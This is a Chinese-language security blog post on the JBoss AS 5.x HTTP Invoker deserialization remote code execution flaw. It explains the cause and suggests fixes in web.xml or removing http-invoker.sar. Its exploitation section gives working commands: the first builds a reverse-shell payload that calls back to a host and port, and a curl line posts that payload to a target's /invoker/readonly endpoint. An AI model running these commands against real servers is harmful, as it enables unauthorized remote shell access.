Jboss AS 5.X 反序列化漏洞
漏洞成因
Jboss AS 5.X被曝出反序列化远程命令执行漏洞,主要是由于HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不会限制执行反序列化的类,从而允许攻击者通过精心设计的序列化数据执行任意代码。
发现漏洞的老外说是只影响5.x ,的链接好像也是影响5.x,但是看一些其它文章好像说也有6.x,不懂了……
漏洞利用
工具地址:
https://github.com/joaomatosf/JavaDeserH2HC
下载执行执行生成二进制payload文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #修改接收shell的主机ip和端口 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap nxadmin.com:1234
curl向被攻击服务器发送攻击payload:
curl http://www.nxadmnin.com:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
如图:
修复建议:
HTTP Invoker是一种为EJB和JNDI命名服务提供HTTP和远程方法调用(RMI)访问的服务。保护此服务以防止未经授权的访问。针对该漏洞的修复可以通过http-invoker.sar中的配置文件增加安全约束:需要注意的是server目录下,有关的配置文件会有多个目录,分别如下:
#或多或少使用默认配置,不同的是启用了集群 /opt/jboss/jboss5/server/all/ #默认配置 /opt/jboss/jboss5/server/default/ /opt/jboss/jboss5/server/web/ #标准配置 /opt/jboss/jboss5/server/standard/ 具体修改或者删除哪个目录下的文件,需要取决于服务搭建使用的哪种配置
1,通过在http-invoker.sar的web.xml文件中添加安全约束来保护整个http-invoker对上下文的访问;如果使用的是默认配置,具体配置文件如下:
/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
2,或者如果不使用http-invoker.sar,可以删除掉;如果你的jboss使用的是默认配置,对应要删除的目录如下:
/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/
Related Posts
- 本文固定链接: http://www.nxadmin.com/penetration/1649.html
- 转载请注明: admin 于 阿德马Web安全 发表